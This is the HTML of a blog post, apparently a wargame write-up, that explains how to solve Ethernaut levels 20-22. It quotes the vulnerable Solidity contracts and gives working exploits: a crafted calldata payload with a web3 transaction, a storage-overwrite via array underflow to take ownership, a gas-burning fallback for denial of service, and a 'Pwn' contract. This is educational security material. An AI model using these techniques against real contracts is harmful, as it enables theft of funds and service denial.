-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathEthernaut_wargame2022.html
473 lines (426 loc) · 33.5 KB
/
Ethernaut_wargame2022.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="author" content="F3real" />
<meta name="keywords" content="ctf,ethereum,solidity" />
<meta name="description" content="How to solve Ethernaut wargame lvl. 20-22" />
<title>Ethernaut wargame Lvl. 20-22 - EnSec blog</title>
<link href="https://f3real.github.io/theme/css/combined.css" rel="stylesheet" />
<!-- Feeds -->
</head>
<body data-spy="scroll" data-target="#scrollspy">
<div id="wrapper">
<!-- Sidebar -->
<nav id="sidebar-wrapper-small" class="twitchy-background">
<ul id="accordion-small" class="sidebar-nav sidebar-nav-small">
<li>
<a href="https://f3real.github.io" title="EnSec blog" class="collapsed">
<span class="fas fa-home"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a href="https://f3real.github.io/archives.html" title="Recent Articles" class="collapsed">
<span class="fas fa-th-list"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion-small" href="#collapse-social-small" title="Social" class="collapsed">
<i class="fas fa-users padding-small"></i>
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social-small" class="collapse ">
<li>
<a href="https://github.com/F3real" title="Github"><i class="fab fa-github-square padding-small"></i></a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin"><i class="fab fa-linkedin padding-small"></i></a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li>
<a href="#" title="Back to top" class="collapsed">
<span class="fas fa-arrow-up"></span>
</a>
</li>
</ul>
</nav>
<nav id="sidebar-wrapper" class="twitchy-background">
<ul id="accordion" class="sidebar-nav">
<li class="sidebar-brand">
<a href="https://f3real.github.io/">
<span class="fas fa-home padding-small"></span>
EnSec blog
</a>
</li>
<li>
<a href="https://f3real.github.io/archives.html">
<span class="fas fa-th-list padding-small"></span>
Archives
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-social">
<i class="fas fa-users padding-small"></i>
Contact
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social" class="sidebar_submenu collapse ">
<li>
<a href="https://github.com/F3real" title="Github">
<i class="fab fa-github-square padding-small"></i>
Github
</a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin">
<i class="fab fa-linkedin padding-small"></i>
Linkedin
</a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li class="panel anti-panel"><ul id="collapse-pages" class="sidebar_submenu collapse ">
</ul></li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-categories">
<i class="fas fa-folder-open padding-small"></i>
Categories
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-categories" class="sidebar_submenu collapse ">
<li class="active">
<a href="https://f3real.github.io/category/ctf.html">
<i class="fas fa-folder-open padding-small"></i>
ctf
<span class="badge badge-secondary float-right categorybadge">28</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/misc.html">
<i class="fas fa-folder-open padding-small"></i>
misc
<span class="badge badge-secondary float-right categorybadge">15</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/reversing.html">
<i class="fas fa-folder-open padding-small"></i>
reversing
<span class="badge badge-secondary float-right categorybadge">6</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/tutorial.html">
<i class="fas fa-folder-open padding-small"></i>
tutorial
<span class="badge badge-secondary float-right categorybadge">5</span>
</a>
</li>
</ul></li>
</ul>
</nav>
<!-- /#sidebar-wrapper -->
<!-- open/close sidebar -->
<button onclick="toggleMenu();return false;" class="btn btn-primary" id="menu-toggle">
<span id="right-arrow" class="fas fa-chevron-right" title="expand sidebar"></span>
<span id="left-arrow" class="fas fa-chevron-left" title="minimize sidebar"></span>
</button>
<!-- /open/close sidebar -->
<!-- Page Content -->
<div id="page-content-wrapper">
<div class="container-fluid">
<section id="content">
<article>
<div class="row">
<div class="col-lg-10">
<header class="page-header">
<h1>
<a href="https://f3real.github.io/Ethernaut_wargame2022.html"
rel="bookmark"
title="Permalink to Ethernaut wargame Lvl. 20-22">
Ethernaut wargame Lvl. 20-22
</a>
<small>
<div class="post-info">
<div class="publish-info-block">
<small>
<span class="published">
<i class="fa fa-calendar padding-small"></i><time datetime="2018-12-27T10:01:00+01:00"> Thu 27 December 2018</time>
</span>
<span class="category">
<i class="fa fa-folder-open padding-small"></i><a href="https://f3real.github.io/category/ctf.html">ctf</a>
</span>
<span class="tags">
<i class="fa fa-tags padding-small"></i>
<a href="https://f3real.github.io/tag/ctf.html">ctf</a> / <a href="https://f3real.github.io/tag/ethereum.html">ethereum</a> / <a href="https://f3real.github.io/tag/solidity.html">solidity</a> </span>
</small>
</div>
</div><!-- /.post-info --> </small>
</h1>
</header>
</div>
</div>
<div class="row">
<div class="col-lg-10">
<div class="entry-content">
<p>Ethernaut is a great wargame teaching a wide variety of Solidity security concepts.
Currently, it offers 22 levels with varying difficulty. It can be found <a href="https://ethernaut.zeppelin.solutions/">here</a>.</p>
<div class="toc">
<ul>
<li><a href="#lvl-20-alien-codex">Lvl 20 Alien Codex</a></li>
<li><a href="#lvl-21-denial">Lvl 21 Denial</a></li>
<li><a href="#lvl-22-shop">Lvl 22 Shop</a></li>
</ul>
</div>
<h2 id="lvl-20-alien-codex">Lvl 20 Alien Codex</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="o">^</span><span class="k">0.4.24</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s1">'zeppelin-solidity/contracts/ownership/Ownable.sol'</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">AlienCodex</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>Ownable<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="k">public </span><span class="nv">contact</span><span class="p">;</span>
<span class="w"> </span><span class="kt">bytes32</span><span class="p">[]</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span>codex<span class="p">;</span>
<span class="w"> </span><span class="kt">modifier</span><span class="w"> </span>contacted<span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>assert<span class="p">(</span>contact<span class="p">);</span>
<span class="w"> </span>_<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">make_contact</span><span class="p">(</span><span class="kt">bytes32</span><span class="p">[]</span><span class="w"> </span>_firstContactMessage<span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>assert<span class="p">(</span>_firstContactMessage<span class="p">.</span>length<span class="w"> </span><span class="o">></span><span class="w"> </span><span class="m m-Decimal">2</span><span class="o">**</span><span class="m m-Decimal">200</span><span class="p">);</span>
<span class="w"> </span>contact<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">record</span><span class="p">(</span><span class="kt">bytes32</span><span class="w"> </span><span class="nv">_content</span><span class="p">)</span><span class="w"> </span>contacted<span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>codex<span class="p">.</span>push<span class="p">(</span>_content<span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">retract</span><span class="p">()</span><span class="w"> </span>contacted<span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>codex<span class="p">.</span>length<span class="o">--</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">revise</span><span class="p">(</span><span class="kt">uint</span><span class="w"> </span><span class="nv">i</span><span class="p">,</span><span class="w"> </span><span class="kt">bytes32</span><span class="w"> </span><span class="nv">_content</span><span class="p">)</span><span class="w"> </span>contacted<span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>codex<span class="p">[</span>i<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>_content<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>Looking at the code we see that the first problem we have to overcome is modifier <code>contacted</code>. The length of the content we need to send has to be greater then 2^200, which is impossible. We can bypass this due to the fact that EVM doesn't validate an array's ABI-encoded length vs its actual payload. We will manually encode payload to send in a similar way we have done in <a href="https://f3real.github.io/blockchain_ctf15.html">Blockchain CTF</a> challenges.</p>
<p>Payload:</p>
<div class="highlight"><pre><span></span><code>1d3d4c0b
0000000000000000000000000000000000000000000000000000000000000020
1000000000000000000000000000000000000000000000000000000000000000
</code></pre></div>
<p>First line is function identifier. It consists of first 32bits of <code>sha3("make_contact(bytes32[])")</code>.
The second line shows us an offset of array content, in our case it points to the third line. Array content starts with the length of the array, after which actual array elements come (in our case we will just leave it empty).</p>
<p>A lot of values for array length greater then 2^200 cause out of gas exception on CALLDATACOPY instruction. It is probably related to the internal way EVM handles it and is actually really interesting and probably worth looking into more.</p>
<div class="highlight"><pre><span></span><code><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">defaultAccount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">accounts</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">tokenContractAddress</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"0x7bd16279c000a2a2bad3080bbf04e111c12c5e9e"</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">tx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">tokenContractAddress</span><span class="p">,</span>
<span class="w"> </span><span class="nx">data</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="s2">"0x1d3d4c0b00000000000000000000000000000000000000000000000000000000000000201000000000000000000000000000000000000000000000000000000000000000"</span>
<span class="p">}</span>
<span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">sendTransaction</span><span class="p">(</span><span class="nx">tx</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">)=>{</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">);});</span>
</code></pre></div>
<p>Anyway, after we bypassed modifier second thing is to call <code>retract</code> function. This will cause underflow on <code>codex</code> array and change its length to 2^200 - 1.
This will enable us to access and modify all of the contract storage. As a reminder, the storage of the contract consists of <code>2**256</code> 32 byte slots.</p>
<p>Variables are ordered in the way they are declared. Address owner (inherited from Ownable) is occupying the first slot together with <code>boolean</code> variable <code>contacted</code> due to both of them being smaller than 32 bytes (<code>addresses</code> are 20 bytes and <code>boolean</code> is one byte). The second slot contains the length of <code>codex</code> array.</p>
<p>We can access both of them trough public getter or trough <code>getStorageAt</code> method of web3:</p>
<div class="highlight"><pre><span></span><code><span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">getStorageAt</span><span class="p">(</span>
<span class="w"> </span><span class="nx">tokenContractAddress</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="nx">slot</span><span class="p">,</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="w"> </span><span class="nx">result</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">((</span><span class="nx">web3</span><span class="p">.</span><span class="nx">toHex</span><span class="p">(</span><span class="nx">result</span><span class="p">)));</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
<span class="p">);</span>
</code></pre></div>
<p>Output:</p>
<div class="highlight"><pre><span></span><code>0: 0x00000000000000000000000173048cec9010e92c298b016966bde1cc47299df5
1: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
</code></pre></div>
<p>The formula for locating slot corresponding to array index is:
<code>keccak256(slot) + index</code></p>
<p>This means we have to calculate index in the way it overflows max value and points to first slot:</p>
<p><code>index = 2**256 - keccak256(bytes32(1))</code></p>
<p>After we get our index we just have to call <code>revise</code> function and overwrite current owner address with ours to win.
The address has to be padded to the left with zeroes.</p>
<h2 id="lvl-21-denial">Lvl 21 Denial</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="o">^</span><span class="k">0.4.24</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">Denial</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="k">public </span><span class="nv">partner</span><span class="p">;</span><span class="w"> </span><span class="c1">// withdrawal partner - pay the gas, split the withdraw</span>
<span class="w"> </span><span class="kt">address</span><span class="w"> </span><span class="k">public </span><span class="nv">constant</span><span class="w"> </span>owner<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0xA9E</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint</span><span class="w"> </span><span class="nv">timeLastWithdrawn</span><span class="p">;</span>
<span class="w"> </span><span class="kt">mapping</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="kt">uint</span><span class="p">)</span><span class="w"> </span>withdrawPartnerBalances<span class="p">;</span><span class="w"> </span><span class="c1">// keep track of partners balances</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">setWithdrawPartner</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">_partner</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>partner<span class="w"> </span><span class="o">=</span><span class="w"> </span>_partner<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// withdraw 1% to recipient and 1% to owner</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">withdraw</span><span class="p">()</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint</span><span class="w"> </span><span class="nv">amountToSend</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">address</span><span class="p">(</span><span class="kt">this</span><span class="p">).</span>balance<span class="o">/</span><span class="m m-Decimal">100</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// perform a call without checking return</span>
<span class="w"> </span><span class="c1">// The recipient can revert, the owner will still get their share</span>
<span class="w"> </span>partner<span class="p">.</span>call<span class="p">.</span>value<span class="p">(</span>amountToSend<span class="p">)();</span>
<span class="w"> </span>owner<span class="p">.</span>transfer<span class="p">(</span>amountToSend<span class="p">);</span>
<span class="w"> </span><span class="c1">// keep track of last withdrawal time</span>
<span class="w"> </span>timeLastWithdrawn<span class="w"> </span><span class="o">=</span><span class="w"> </span>now<span class="p">;</span>
<span class="w"> </span>withdrawPartnerBalances<span class="p">[</span>partner<span class="p">]</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span>amountToSend<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// allow deposit of funds</span>
<span class="w"> </span><span class="kt">function</span><span class="p">()</span><span class="w"> </span><span class="kt">payable</span><span class="w"> </span><span class="p">{}</span>
<span class="w"> </span><span class="c1">// convenience function</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">contractBalance</span><span class="p">()</span><span class="w"> </span>view<span class="w"> </span><span class="kt">returns</span><span class="w"> </span><span class="p">(</span><span class="kt">uint</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">return</span><span class="w"> </span><span class="kt">address</span><span class="p">(</span><span class="kt">this</span><span class="p">).</span>balance<span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>To win this level we have to prevent the owner from withdrawing funds. Before funds get transferred to owner there is <code>partner.call.value(amountToSend)();</code>, which we can exploit. Since no gas amount has been specified, all gas will be sent to the fallback function of the partner address.</p>
<p>We can write a contract with a fallback function that will trigger assert and thus spend all gas, making it so that the owner can't withdraw.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kt">function</span><span class="p">()</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="kt">payable</span><span class="p">{</span>
<span class="w"> </span>assert<span class="p">(</span><span class="kt">false</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
</code></pre></div>
<h2 id="lvl-22-shop">Lvl 22 Shop</h2>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="err">0.4.24</span><span class="p">;</span>
interface<span class="w"> </span>Buyer<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">price</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>view<span class="w"> </span><span class="kt">returns</span><span class="w"> </span><span class="p">(</span><span class="kt">uint</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">Shop</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint</span><span class="w"> </span><span class="k">public </span><span class="nv">price</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">100</span><span class="p">;</span>
<span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="k">public </span><span class="nv">isSold</span><span class="p">;</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">buy</span><span class="p">()</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>Buyer<span class="w"> </span>_buyer<span class="w"> </span><span class="o">=</span><span class="w"> </span>Buyer<span class="p">(</span><span class="k">msg.sender</span><span class="p">);</span>
<span class="w"> </span><span class="kt">if</span><span class="w"> </span><span class="p">(</span>_buyer<span class="p">.</span>price<span class="p">.</span>gas<span class="p">(</span><span class="m m-Decimal">3000</span><span class="p">)()</span><span class="w"> </span><span class="o">>=</span><span class="w"> </span>price<span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="o">!</span>isSold<span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span>isSold<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">true</span><span class="p">;</span>
<span class="w"> </span>price<span class="w"> </span><span class="o">=</span><span class="w"> </span>_buyer<span class="p">.</span>price<span class="p">.</span>gas<span class="p">(</span><span class="m m-Decimal">3000</span><span class="p">)();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>In this level, we need to exploit interface Buyer. Our function <code>price</code> has to return different values, in two different calls. </p>
<p>The only problem is that we can't use storage since just modifying value costs 5000 gas and we have only 3000 available. Good thing is that <code>isSold</code> variable from Shop contract is public and we can access it with the gas we have.</p>
<div class="highlight"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="err">0.4.24</span><span class="p">;</span>
<span class="kt">import</span><span class="w"> </span><span class="s1">'./Shop.sol'</span><span class="p">;</span>
<span class="k">contract</span><span class="w"> </span><span class="ni">Pwn</span><span class="w"> </span><span class="kt">is</span><span class="w"> </span>Buyer<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint</span><span class="w"> </span><span class="k">public </span><span class="nv">price</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">100</span><span class="p">;</span>
<span class="w"> </span>Shop<span class="w"> </span>shop<span class="w"> </span><span class="o">=</span><span class="w"> </span>Shop<span class="p">(</span><span class="mh">0x3a13E6F0EF2498CAbD0b49c7F5B1FA1AeD465125</span><span class="p">);</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">buy</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="w"> </span>view<span class="w"> </span><span class="kt">returns</span><span class="w"> </span><span class="p">(</span><span class="kt">uint</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">return</span><span class="w"> </span>shop<span class="p">.</span>isSold<span class="p">()</span><span class="o">==</span><span class="kt">true</span><span class="o">?</span><span class="m m-Decimal">0</span><span class="o">:</span><span class="m m-Decimal">100</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">pwn</span><span class="p">()</span><span class="w"> </span><span class="kt">external</span><span class="p">{</span>
<span class="w"> </span>shop<span class="p">.</span>buy<span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
</div>
<footer class="text-right">
<p>- F3real</p>
</footer>
<div id="show-comments" class="span7 text-center">
<a href="https://f3real.github.io/Ethernaut_wargame2022.html#disqus_thread"
data-disqus-identifier="Ethernaut_wargame2022"
class="btn btn-primary twitchy-background">Show Comments</a>
</div>
<section id="comments" class="comments hidden">
<hr/>
<h2>Comments</h2>
<div id="disqus_thread"></div>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by
Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</section>
</div>
</div>
</article>
</section>
<footer>
<hr>
<div class="row">
<div class="col-lg-10 text-center">
<p><small>
Built by <a href="http://docs.getpelican.com/en/latest">Pelican</a> / <a href="https://github.com/F3real/pelican-twitchy">pelican-twitchy</a>
· © 2024 F3real
</small></p>
</div>
</div>
</footer> </div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
<!-- disqus -->
<script type="text/javascript">
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = 'https-f3real-github-io'; // required: replace example with your forum shortname
var disqus_identifier = 'Ethernaut_wargame2022';
var disqus_url = 'https://f3real.github.io/Ethernaut_wargame2022.html';
var disqus_config = function () {
this.language = "en";
};
var commentsDiv = document.getElementById('show-comments');
commentsDiv.onclick = function() {
/* * * DON'T EDIT BELOW THIS LINE * * */
(function () {
var dsq = document.createElement('script');
dsq.type = 'text/javascript';
dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
this.style.display = 'none';
};
</script>
<!-- /disqus -->
<script>
const wrapper = document.getElementById('wrapper');
const sidebarBig = document.getElementById('sidebar-wrapper');
const sidebarSmall = document.getElementById('sidebar-wrapper-small');
const triggers = Array.from(document.querySelectorAll('[data-toggle="collapse"]'));
for (var i = 0; i < triggers.length; i++) {
triggers[i].addEventListener('click', (ev) => {
const elm = ev.currentTarget;
ev.preventDefault();
const selector = elm.getAttribute('href').replace('#','');
elm.classList.toggle('collapsed');
document.getElementById(selector).classList.toggle('show');
}, false);
}
function showBigNav() {;
sidebarBig.style.display = 'block';
sidebarSmall.style.display = 'none';
}
function showSmallNav() {
sidebarBig.style.display = 'none';
sidebarSmall.style.display = 'block';
}
const mediaQuery = window.matchMedia('(min-width:768px)');
mediaQuery.onchange = e => {
if (wrapper.classList.contains('toggled')) {
wrapper.classList.remove('toggled');
} else {
if (e.matches) {
showBigNav();
} else {
showSmallNav();
}
}
}
function setNavbar() {
var condition = wrapper.classList.contains('toggled');
if (!mediaQuery.matches) {
condition = !condition;
}
if (condition) {
showSmallNav();
} else {
showBigNav();
}
}
function toggleMenu(){
wrapper.classList.toggle('toggled');
setNavbar();
}
window.onload = setNavbar;
</script>
<script data-goatcounter="https://f3real.goatcounter.com/count"
async src="//gc.zgo.at/count.js"></script>
</body>
</html>